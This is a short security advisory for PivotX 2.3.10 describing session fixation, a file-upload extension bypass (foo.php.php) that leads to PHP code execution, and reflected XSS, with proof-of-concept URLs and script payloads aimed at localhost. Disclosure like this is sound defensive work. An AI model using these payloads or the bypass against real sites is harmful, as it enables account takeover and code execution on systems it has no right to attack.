Session Fixation, Reflected XSS, Code Execution in PivotX 2.3.10 Jun 27 2015 09:33AM

Vulnerability: Session Fixation, Reflected XSS, Code Execution
Affected Software: PivotX (http://pivotx.net/)
Affected Version: 2.3.10 (probably also prior versions)
Patched Version: 2.3.11
Risk: Medium-High

Session Fixation
================

Risk
----

Medium; If victim clicks link and logs in, then an attacker can log in
as the victim

POC
---

1. Send victim to:
http://localhost/pivotx_latest/pivotx/fileupload.php?sess=123
2. Victim logs in
3. Attacker sets PHPSESSID=123 and is now logged in as well

File Upload: Code Execution
===========================

Risk
----

Medium; attacker can upload PHP files and thus gain code execution

Description
-----------

It is possible to bypass the check for disallowed file extensions with
a filename like foo.php.php, which will be renamed to foo.php_.php,
leading to code execution.

Reflected XSS
=============

Risk
----

Medium; arbitrary JavaScript execution

POC
---

PHP_SELF is user supplied, and thus should not be considered
secure. It seems that most or all forms are affected by this.

http://localhost/pivotx_latest/pivotx/index.php/"><script>alert('xsstest
')</script></script>?page=page&uid=3

http://localhost/pivotx_latest/pivotx/index.php/"><script>alert('xsstest
')</script></script>?page=templates

http://localhost/pivotx_latest/pivotx/index.php/"><script>alert('xsstest
')</script></script>?page=fileexplore
[... etc ...]
